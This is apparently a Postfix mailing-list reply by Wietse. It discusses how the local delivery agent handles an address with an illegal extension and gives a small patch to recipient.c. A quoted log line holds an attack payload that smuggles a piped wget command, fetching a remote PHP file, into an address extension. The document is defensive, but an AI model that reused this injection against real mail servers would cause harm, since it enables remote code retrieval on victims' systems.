Arno Sch??fer:
> Apr  9 17:54:55 www postfix/local[6819]: warning: 800FC35405B: address
> with illegal extension: root+:|wget http://fortunes.in/x1x.php

You did't mention in the initial report that Postfix rejected the
extension, because that makes all the difference in the world.

Apparently, the Postfix local delivery agent does not distinguish
between "there is no address extension" and "there is an address
extension, but it is invalid". In both cases, it only runs the
full address local-part through the alias mapping.

Again, this has nothing to do with "|" characters in address
extensions.

        Wietse

The workaround is to replace the broken extension by the string
"invalid". It would be incorrect to remove the evidence of the
attack by patching the full address local-part, and it would take
too much time to change the code to distinguish between "there is
no address extension" and "there is an address extension, but it
is invalid".

*** ./recipient.c-      Sat Feb  6 09:31:55 2010
--- ./recipient.c       Thu Apr 22 08:35:33 2010
***************
*** 258,264 ****
        if (state.msg_attr.extension && strchr(state.msg_attr.extension, '/')) {
            msg_warn("%s: address with illegal extension: %s",
                     state.msg_attr.queue_id, state.msg_attr.local);
!           state.msg_attr.extension = 0;
        }
      } else
        state.msg_attr.extension = 0;
--- 258,264 ----
        if (state.msg_attr.extension && strchr(state.msg_attr.extension, '/')) {
            msg_warn("%s: address with illegal extension: %s",
                     state.msg_attr.queue_id, state.msg_attr.local);
!           state.msg_attr.extension = "invalid";
        }
      } else
        state.msg_attr.extension = 0;

Reply via email to